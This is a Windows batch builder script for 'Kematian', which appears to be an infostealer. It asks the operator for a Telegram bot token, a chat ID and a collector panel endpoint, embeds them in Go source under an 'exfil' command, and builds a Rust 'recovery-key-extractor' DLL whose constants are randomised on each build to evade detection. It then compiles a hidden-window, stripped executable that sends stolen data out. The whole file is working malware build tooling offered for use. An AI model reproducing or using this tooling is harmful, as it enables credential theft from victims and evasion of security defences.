@echo off setlocal enabledelayedexpansion title Kematian Final Builder echo ============================================ echo Kematian Final Executable Builder echo ============================================ echo. set "SCRIPT_DIR=%~dp0" set "PROJECT_ROOT=%SCRIPT_DIR%..\" set "NATIVE_DIR=%PROJECT_ROOT%native" set "EXFIL_DIR=%NATIVE_DIR%\cmd\exfil" set "FINAL_DIR=%SCRIPT_DIR%" set "ORIGINAL_MAIN=%EXFIL_DIR%\main.go" set "TEMP_MAIN=%EXFIL_DIR%\main.go.tmp" set "ORIGINAL_PANEL=%NATIVE_DIR%\recovery\exfil\panel.go" set "TEMP_PANEL=%NATIVE_DIR%\recovery\exfil\panel.go.tmp" echo [DEBUG] SCRIPT_DIR=%SCRIPT_DIR% echo [DEBUG] NATIVE_DIR=%NATIVE_DIR% echo [DEBUG] ORIGINAL_MAIN=%ORIGINAL_MAIN% if not exist "%NATIVE_DIR%" ( echo [ERROR] native folder not found at %NATIVE_DIR% pause exit /b 1 ) if not exist "%ORIGINAL_MAIN%" ( echo [ERROR] main.go not found at %ORIGINAL_MAIN% pause exit /b 1 ) echo Enter your Telegram Bot Token: set /p BOT_TOKEN=^> if "%BOT_TOKEN%"=="" ( echo [ERROR] Bot token cannot be empty pause exit /b 1 ) echo. echo Enter your Telegram Chat ID: set /p CHAT_ID=^> if "%CHAT_ID%"=="" ( echo [ERROR] Chat ID cannot be empty pause exit /b 1 ) echo. echo ------------------------------------------- echo COLLECTOR PANEL (leave blank to disable) echo ------------------------------------------- echo. set "PANEL_ENDPOINT=" set "PANEL_AUTH=" set /p PANEL_ENDPOINT=Panel endpoint (e.g. https://mypanel.com/api/ingest): set /p PANEL_AUTH=Panel ingest key (PANEL_INGEST_KEY): echo. echo. echo Building recovery-key-extractor.dll (Rust)... set "RUST_DIR=%PROJECT_ROOT%rust-extractor" set "EXTRACTOR_OUT=%NATIVE_DIR%\recovery\platform\recovery-key-extractor.dll" set "RUST_DLL=%RUST_DIR%\target\x86_64-pc-windows-gnu\release\recovery_key_extractor.dll" if not exist "%RUST_DIR%\Cargo.toml" ( echo [ERROR] rust-extractor\Cargo.toml not found pause exit /b 1 ) pushd "%RUST_DIR%" echo Generating polymorphic gen.rs (unique constants per build)... python -c "import secrets;seed=secrets.randbelow(1<<32)|1;kt=secrets.randbelow(255)+1;kv=secrets.randbelow(255)+1;ks=secrets.randbelow(255)+1;ke=secrets.randbelow(255)+1;kd=secrets.randbelow(255)+1;jx=secrets.randbelow(1<<32)|1;jr=secrets.randbelow(1<<32)|1;jn=secrets.randbelow(16)+4;ot=(secrets.randbelow(1<<32)<<32)|secrets.randbelow(1<<32);f=open('src/gen.rs','w');f.write('// AUTO-GENERATED per build. Do not edit.\n');f.write('pub const GEN_SEED: u32 = 0x%08X;\n\n'%seed);f.write('pub const K_TOKEN: u8 = %d;\n'%kt);f.write('pub const K_VENDOR: u8 = %d;\n'%kv);f.write('pub const K_SMBIOS: u8 = %d;\n'%ks);f.write('pub const K_ENV: u8 = %d;\n'%ke);f.write('pub const K_DISPLAY: u8 = %d;\n\n'%kd);f.write('pub const JUNK_XOR: u32 = 0x%08X;\n'%jx);f.write('pub const JUNK_ROT: u32 = 0x%08X;\n'%jr);f.write('pub const JUNK_N: u32 = %d;\n\n'%jn);f.write('pub const OPAQUE_TAG: u64 = 0x%016X;\n'%ot);f.close()" 2>&1 if errorlevel 1 ( echo [WARN] gen.rs regeneration failed, using existing gen.rs ) cargo build --release --target x86_64-pc-windows-gnu if errorlevel 1 ( popd echo [ERROR] cargo build failed pause exit /b 1 ) popd if not exist "%RUST_DLL%" ( echo [ERROR] Rust DLL not found at %RUST_DLL% pause exit /b 1 ) copy /y "%RUST_DLL%" "%EXTRACTOR_OUT%" >nul if errorlevel 1 ( echo [ERROR] Failed to copy Rust DLL pause exit /b 1 ) echo [OK] recovery-key-extractor.dll ready echo. echo Generating main.go with embedded credentials... echo [DEBUG] Replacing placeholders in %ORIGINAL_MAIN% powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_MAIN%'; $content = $content -replace 'defaultBotToken = \"YOUR_BOT_TOKEN_HERE\"', 'defaultBotToken = \"%BOT_TOKEN%\"'; $content = $content -replace 'defaultChatID = \"YOUR_CHAT_ID_HERE\"', 'defaultChatID = \"%CHAT_ID%\"'; [IO.File]::WriteAllText('%TEMP_MAIN%', $content); Write-Host 'PowerShell OK'" if errorlevel 1 ( echo [ERROR] Failed to generate temp main.go pause exit /b 1 ) echo [DEBUG] Temp file created, verifying... powershell -NoProfile -Command "Get-Content -Path '%TEMP_MAIN%' | Select-String 'defaultBotToken'" move /y "%TEMP_MAIN%" "%ORIGINAL_MAIN%" >nul if errorlevel 1 ( echo [ERROR] Failed to replace main.go pause exit /b 1 ) echo [OK] main.go updated with credentials echo. echo Generating panel.go with panel config... if not "%PANEL_ENDPOINT%"=="" ( powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_PANEL%'; $content = $content -replace 'http://127.0.0.1:5000/api/ingest', '%PANEL_ENDPOINT%'; $content = $content -replace 'PanelAuth = \"kematian-ingest-key-CHANGE-ME\"', 'PanelAuth = \"%PANEL_AUTH%\"'; [IO.File]::WriteAllText('%TEMP_PANEL%', $content); Write-Host 'PowerShell OK'" if errorlevel 1 ( echo [ERROR] Failed to generate temp panel.go pause exit /b 1 ) move /y "%TEMP_PANEL%" "%ORIGINAL_PANEL%" >nul echo [OK] panel.go endpoint + auth updated (pubkey is auto-fetched at runtime) ) echo. echo Building executable... pushd "%NATIVE_DIR%" go build -ldflags="-H=windowsgui -s -w" -o "%FINAL_DIR%kematian.exe" ./cmd/exfil if errorlevel 1 ( popd echo [ERROR] Go build failed pause exit /b 1 ) popd echo. echo Restoring original main.go... git checkout "%ORIGINAL_MAIN%" 2>nul if errorlevel 1 ( powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_MAIN%'; $content = $content -replace 'defaultBotToken = \"%BOT_TOKEN%\"', 'defaultBotToken = \"YOUR_BOT_TOKEN_HERE\"'; $content = $content -replace 'defaultChatID = \"%CHAT_ID%\"', 'defaultChatID = \"YOUR_CHAT_ID_HERE\"'; [IO.File]::WriteAllText('%ORIGINAL_MAIN%', $content)" ) echo. echo Restoring original panel.go... git checkout "%ORIGINAL_PANEL%" 2>nul if errorlevel 1 ( powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_PANEL%'; $content = $content -replace [regex]::Escape('%PANEL_ENDPOINT%'), 'http://127.0.0.1:5000/api/ingest'; $content = $content -replace 'PanelAuth = \"%PANEL_AUTH%\"', 'PanelAuth = \"kematian-ingest-key-CHANGE-ME\"'; [IO.File]::WriteAllText('%ORIGINAL_PANEL%', $content)" ) echo. echo ============================================ echo [SUCCESS] Build complete! echo ============================================ echo. echo Output: %FINAL_DIR%kematian.exe echo. echo Usage: Just double-click kemeatien.exe echo (No arguments needed - credentials are embedded) echo. dir "%FINAL_DIR%kematian.exe" echo. pause